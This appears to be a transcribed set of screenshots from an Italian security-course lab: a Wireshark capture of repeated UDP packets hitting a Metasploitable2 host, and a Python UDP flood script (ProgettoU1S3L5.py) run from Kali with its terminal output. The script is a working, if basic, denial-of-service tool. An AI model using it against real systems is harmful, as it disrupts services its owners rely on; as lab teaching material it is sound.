Metasploitable2 - Linux

Capturing from eth0

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length	Info
480	929.406203687	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
481	929.406238935	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
482	929.406317968	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
483	929.406352536	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
484	929.406430628	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
485	929.406523454	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
486	929.406561870	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
487	929.406639687	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
488	929.406674137	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
489	929.406752903	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
490	929.406787263	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
491	929.406870905	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
492	929.406905746	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
493	929.406982890	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
494	929.407018442	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
495	929.407094767	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
496	929.407130228	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1
497	929.407279984	192.168.50.100	192.168.50.101	UDP	1066	34379 → 45 Len=1

```
▸ Frame 447: 42 bytes on wire (336 bits), 42 bytes captured (3
▸ Ethernet II, Src: PCSSystemtec_1e:36:4a (08:00:27:1e:36:4a),
▸ Address Resolution Protocol (request)

0000  ff ff ff ff ff ff 08 00
0010  08 00 06 04 00 01 08 00
0020  00 00 00 00 00 00 c0 a8
```

eth0: <live capture in progress> | Packets: 669 · Displayed: 669 (100.0%) | Profile: Default

ProgettoU1S3L5.py - Esercizi di Programmazione Python - Visual Studio Code

File Edit Selection View Go Run Terminal Help

EXPLORER

ESERCIZI DI PROGRAMMAZIO...

- __pycache__
- loginphp
  - benvenuto.php
  - login.php
- Math
- .gitignore
- bruteforce_http.py
- casting.py
- classi.py
- Consegna.py
- dizionari.py
- elif.py
- Eserciziobackdoor.py
- for.py
- funzioni.py
- httpstatus.py
- ifelse.py
- importafuznioni.py
- Input.py
- liste.py
- Modificaliste.py
- nomi_utenti.txt
- password.txt
- portscanner.py
- ProgettoU1S3L5.py
- socketScanner.py
- stringe.py
- test.py
- while.py

OUTLINE

TIMELINE

socketScanner.py | ProgettoU1S3L5.py

ProgettoU1S3L5.py > ...

```python
import socket,random

# Creazione del socket UDP
soc = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Inserimento dei dati da parte dell'utente
ip_targhet = input("Inserisci l'IP da targhettare: ")
porta_targhet = int(input("Inserisci la porta da targhettare: "))
numero_pacchetti = int(input("Inserisci quanti pacchetti da 1 KB vuoi inviare: "))

# Funzione per generare pacchetti di byte casuali
def generatore_attacco_bytes(grandezza):
    return random.randbytes(grandezza)

# Funzione per inviare i pacchetti
def targhet(ip_targhet, porta_targhet, numero_pacchetti):
    grandezza_pacchetti = 1024  # Dimensione del pacchetto in byte (1 KB)

    for x in range(numero_pacchetti):
        pacchetti = generatore_attacco_bytes(grandezza_pacchetti)
        soc.sendto(pacchetti, (ip_targhet, porta_targhet))


targhet(ip_targhet, porta_targhet, numero_pacchetti)
```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS

```
Inserisci la porta da targhettare: 55
Inserisci quanti pacchetti da 1 KB vuoi inviare: 34

┌──(kali㉿kali)-[~/Desktop/Esercizi di Programmazione Python]
└─$ /bin/python3.12 "/home/kali/Desktop/Esercizi di Programmazione Python/ProgettoU1S3L5.py"
Inserisci l'IP da targhettare: 192.168.50.101
Inserisci la porta da targhettare: 45
Inserisci quanti pacchetti da 1 KB vuoi inviare: 33

┌──(kali㉿kali)-[~/Desktop/Esercizi di Programmazione Python]
└─$
```